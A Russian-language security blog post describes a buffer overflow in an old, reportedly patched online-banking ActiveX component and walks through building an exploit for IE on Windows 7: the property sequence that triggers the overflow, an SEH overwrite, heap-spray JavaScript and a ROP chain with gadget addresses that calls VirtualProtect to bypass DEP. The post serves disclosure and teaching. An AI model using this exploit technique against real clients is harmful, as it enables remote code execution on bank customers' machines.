Ломаем банк в стиле smash the stack!

:

Не только XSS…


Последнее время многие обращают внимание на уязвимости ПО, используемого в банковском секторе: в частности, недавно прошумела новость об уязвимостях класса XSS на веб-сайтах различных банков. Общественность негодует, и СМИ шумят. Но ведь банки богаты не только веб-составляющей. Начиная с конца 2000-х я собирал уязвимости в модулях ActiveX, которые банки гордо раздают своим пользователям, а именно клиентам системы дистанционного банковского обслуживания (ДБО). Раз в год я брал одну или две системы и ковырял их. Начиная просто так, любопытства ради (начал это дело, еще будучи сотрудником банка) и продолжая уже из исследовательского интереса. В итоге за 3–4 года я выявил уязвимости в системах от таких производителей, как BSS, Inist, R-Style, ЦФТ. Под катом находится информация об одной такой уязвимости. Большая часть описания уделена созданию простенького эксплойта для выполнения произвольного кода на стороне клиента (Windows7, IE +DEP/ASLR). Возможно, это будет полезно тем, кто хотел бы понять принципы эксплуатации старых ‘strcpy’ багов и создания ROP-эксплойтов.


Примечание

ПОЧТИ все уязвимости, о которых шла речь, на данный момент исправлены. Уязвимость, о которой идет речь конкретно в данном посте – исправлена давным-давно. Этот производитель СДБО выбран в качестве «жертвы» данного поста именно потому, что у него единая точка входа, а значит достаточно обновить ActiveX в одном месте. С другими производителями сложнее, так как надо обновлять КАЖДЫЙ банк ОТДЕЛЬНО и независимо, поэтому есть вероятность, что даже для старых уязвимостей в BSS/Inist/R-Style, существуют инсталляции без установленного обновления.

Сама уязвимость была обнаружена и сразу же исправлена в 2010 году. Поэтому никакого вреда от этого поста никому не будет, только уроком… 8)

Начало

Пользователи системы «интернет-банк» получают «довесок» в виде компонента ActiveX. Данное ПО отвечает за работу с ЭЦП, с документами и т.д. Написано оно, как правило, на С или С++. А это означает, что такие вещи, как ошибки формата строки, переполнения буфера или ошибки при работе с указателями, вполне себе характерны для этого вида ПО. Исследуемый компонент ставился автоматически для всех клиентов, которые хотели работать с сертификатами, прямо со специальной веб-страницы:

Компонент установлен, отлично. Однако хочется отметить, что данный модуль мог быть активирован только с домена банка, а это значит, что для эксплуатации уязвимостей этого модуля необходимо либо использовать баги типа XSS, либо быть «человеком посередине». Это сильно уменьшает вероятность атаки, но не делает ее нереальной.

Поиск уязвимости

Классикой жанра при поиске дырок является, безусловно, фаззинг. Для того чтобы «профаззить» данное ПО, можно воспользоваться, например, известной тулзой – COMRaider. Как ей пользоваться, я описывал в журнале «Хакер». Суть технологии проста: все методы и свойства ActiveX-класса вызываются с различными параметрами, например, с длинными строками или строками с вставленными спецификаторами формата. И в случае если есть ошибка, например, переполнение буфера при обработке длинной строки, то регистрируется исключительная ситуация (приложение попросту валится). Но вот незадача: выполнив фаззинг, COMRaider не обнаружил ни одной исключительной ситуации, ни одной уязвимости – все прошло без проблем. Ура, дырок нет!

Или…

Однако по этому поводу были сомнения. Все же DLL’ка с кодом датирована аж 2006 годом. Загрузив библиотеку в IDA и бросив беглый взгляд на количество вызовов такой знаменитой функции, как strcpy, я почти не удивился. Все это как бы намекало на то, что уязвимости все же есть.

Все эти вызовы можно проанализировать также в IDA (параллельно можно также использовать отладчик, например Immunity Debugger, с целью более быстрого понимания ситуации и для анализа динамических вызовов). Сквозь неопределенное время анализа кода и некоторого количества запусков в отладчике было выявлено, что часть функционала фаззер просто ПРОПУСТИЛ, так как были явные проверки на значение других свойств метода. То есть фаззер анализировал все методы и свойства отдельно, и потому часть кода была просто не покрыта (ох уж этот дамб-фаззинг). Так, например, свойство LogFileName задавало имя файла логов. А это имя хранится в специальном буфере и используется при вызове ДРУГИХ методов, которые порождают записи в лог. Тогда как фаззер просто пытался делать так:

object.LogFileName=long_buff;

Как таковой уязвимости тут нет. Она есть дальше, в функции обработки ошибки при создании лог-файла (назовем ее vuln). Эта функция вызывается в том случае, если LogEnabled > 0, LogFileName задан, и при этом файл с логом создать не удалось. Для составления вектора эксплуатации нужно проследить путь до этой функции. Впрочем, в IDA 6.2 это сделать крайне просто: Proximity browser + Find Path. Этот функционал помогает найти путь между любыми вызовами, если он есть. Например, так:

Видно, что есть путь до функции vuln (и, как следствие, до strcpy) от публичного метода класса ImportKey(). На самом деле почти все методы класса пытаются что-то писать в лог, поэтому такой путь есть от многих:

Это говорит нам о том, что для вызова функции vuln (из ImportKey) надо выполнить поочередно:

object.LogEnabled=1;
object.LogFileName=”xxx_c:\log.txt”;
object.ImportKey(1); //вызовет vuln();

В других случаях функция vuln просто не вызывается. Это на тему того, что одного фаззинга часто мало, он не знает о многих тонкостях… Теперь рассмотрим, в чем, собственно, ошибка. Для этого я приведу упрощенный кусок кода функции vuln, непосредственно с вызовом strcpy:

…

char* vuln(char *bufferOut, char *fileName){
    char *errorText="Ошибка при создании файла с именем ‘%1’.";
    
    while(!*errorText)
    {
        if(errorText=='%' && (errorText+1)<'9') // замена %1
        {
            strcpy(bufferOut,fileName); //errorText rewrite!
            bufferOut+=strlen(fileName);//увеличиваем указатель
            *errorText++;
        }
        *bufferOut++=*errorText++;     //Stack overflow (errorText<bufferOut)
    }
    
    return *bufferOut;
}

Суть функции – формирование сообщения об ошибке, сам шаблон содержится в переменной errorText. В цикле происходит копирование шаблона (errorText) в переменную bufferOut. При этом автоматически идет подстановка %1 на имя файла – fileName. Подстановка идет с помощью вызова strcpy. Имя filename задается публичным методом LogFileName. Соответственно, если LogFileName будет длинным, то произойдет выход за границы bufferOut. Классическое переполнение буфера. Но юмор в том, что при достаточно длинном значении fileName перезапишется errorText. А так как цикл идет до конца (нулевого байта) errorText, то идти он будет бесконечно, уничтожая стек до самого его конца (начала). Ведь после перезаписи (переполнения буфера вследствие вызова strcpy), errorText будет содержать часть fileName, а указатель будет меньше, чем bufferOut. Выходит, что в этом цикле текущий указатель errorText будет указывать в середину bufferOut, указатель которого увеличится. В итоге получится зацикливание.

Таким образом, до strcpy:

После strcpy:

И в конце зацикливания исключительная ситуация, так как вышли за пределы стека:

Очевидно, что указатель на обработчик исключительной ситуации мы также затерли…

Эксплуатация

Эту главу можно расценивать как описание старого доброго эксплойта на переполняшку. Классика жанра! Итак, мы переписали SEH и создали исключительную ситуацию, когда bufferOut стал указывать в неизвестное место «за» стеком. В итоге программа должна передать управление по указателю:

Наша задача – подсунуть вместо указателя на обработчик указатель на шеллкод. Так как IE работает с защитой DEP, то этот вариант не катит, ибо наш шеллкод (в стеке или в куче) находится в памяти, не помеченной как исполняемая. Нам повезло, что модуль ActiveX ДБО скомпилирован без поддержки ASLR и SafeSEH. Первое дает нам знание адресов инструкций в памяти из данной библиотеки, а второе – возможность использовать в качестве обработчика исключительной ситуации любой из этих адресов. Таким образом, проблема обхода ASLR (частично) и SafeSEH (полностью) отпала сама собой. Ведь тут в дело вступает так называемое возвратно-ориентированное программирование (ROP). О том, как работает ROP, можно почитать в статье из журнала «Хакер». Суть проста: в качестве обработчика указываем на инструкции из этого же модуля, из секции .text, которая, естественно, исполняема, и тамошние адреса нам доподлинно известны. В результате эти инструкции будут исполнены, а чтобы захватить управление после их отработки, надо, чтобы последняя инструкция была инструкцией возврата – RET / RET n (или JMP/CALL reg, но это реже). Тогда следующая инструкция будет взята из стека, как сохраненный адрес выхода. Но стек мы еще не контролируем (при обработке SEH стек «сдвигается»). Поэтому первой такой инструкцией должно быть перенаправление ESP на контролируемую нами область. В этой области будут другие адреса возврата-исполнения. Например, вместо указателя на SEH мы поместим следующий адрес (должен быть ASCII): 10014324

0x10014324: MOV ESP, 3b1002b1 / RETN

В результате ESP станет указывать на 0x3b1002b1. Но память по этому адресу свободна, и в итоге RETN не сможет взять адрес следующей инструкции…

HeapSpray

Раз память свободна, значит можно ее занять. Решается эта проблема банально – heap spray. Используем JavaScript для создания больших массивов с нашими данными. В IE9 (и что-то есть в новом FF) есть защита от heap spray – nozzle и bubble, но с учетом небольшой рандомизации она также решается, ну а в IE8 все проще:
var data= ROP_NOP + ROP + SHELLCODE;

bk=data.substring(0,data.length);
while(bk.length<0x40000) bk = bk+bk;

var h1=new Array();

h1[0] = bk;

for (var i = 1 ; i < 1800 ; i++) {
	h1[i]=  h1[0].substring(0,h1[0].length ); 
}

ROP_NOP – эти данные должны попасть по адресу 0x3b1002b1. Именно это значение будет адресом для RET после MOV ESP, 0x3b1002b1. ROP_NOP должен быть достаточно большим куском, с повторяющимся адресом инструкции RETN. Это своеобразный ROP nop аналог. Например, по адресу 0x1001023c лежит инструкция RETN.

ROP – тут набор адресов на инструкции, которые в совокупности выполняют поиск функции kernel32.VirtualProtect, а затем вызывают ее на нашу кучу, делая ее исполняемой (обходим DEP таким образом). После чего можно передать управление на саму кучу.

SHELLCODE – сюда передается управление после вызова VirtualProtect. Тут шеллкод (конкретные инструкции).

Вот этим делом мы забиваем память до триггера уязвимости. Затем, когда вызовется обработчик исключительной ситуации, указатель ESP будет указывать на подконтрольные нам данные, где будет лежать ROP-программа. Видеопример работы эксплойта и ROP-программы:

Спасибо разработчику за адекватную реакцию на проблемы с безопасностью. Со старой версией модуля в систему не пускает!

С вами был d00kie. Надеюсь, было весело. Hack’em’all 8)

P.S.

Для любопытствующих привожу ROP-программу:

//0x10009de4 -- POP EDI # POP ESI # POP EBX # RETN
//0xffffffcc -- это попадет в EDI (-52)
//0x11111111 -- это в ESI
//0x1002b074 – сохраненный указатель на kernel32.flushinstructioncache в EBX
//0x10013f67 -- ADD EDI,DWORD PTR DS:[EBX] # RETN
//получаем VirtualProtect ( [EBX]-52=VirtualProtect ... в идеальном мире 8)
//0x1000bf35 -- MOV EAX,EDI # POP EDI # POP ESI # RETN 04 VirtualProtect в EAX
//0x11111111 -- trash
//0x11111111 -- trash
//0x1002879d -- PUSH EAX # RETN // call VirtualProtect
//0x11111111 -- trash
//0x1000fd72 -- JMP ESP <--- точка выхода из VP, сразу прыгаем на ESP, там уже будет шеллкод
//0x3b1002b5 -- (1) Адрес страницы <--- Параметры для VP
//0x00010000 – (2) Размер (значения не имеет, помечается вся страница)
//0x00000040 – (3) RWX <--- делаем память исполняемой
//0x3b1002b1 – (4) Сюда запишем старые права
//0x90909090 -- сюда прыгнет из VP, это начало шеллкоды (NOP)

Так как EIP и ESP будут указывать на одну и ту же страницу, то это плохо скажется на работоспособности шеллкода (так, например, WinExec-вызов не сработает). Поэтому перед шеллкодом (который я взял из метасплойта), нужно вручную поставить «восстановитель» старого указателя на стек:

MOV ESP, EBP

Используемое ПО:

COMRaider
IDA 6.2 Demo
Immunity Debugger
mona.py
TypeLib Browser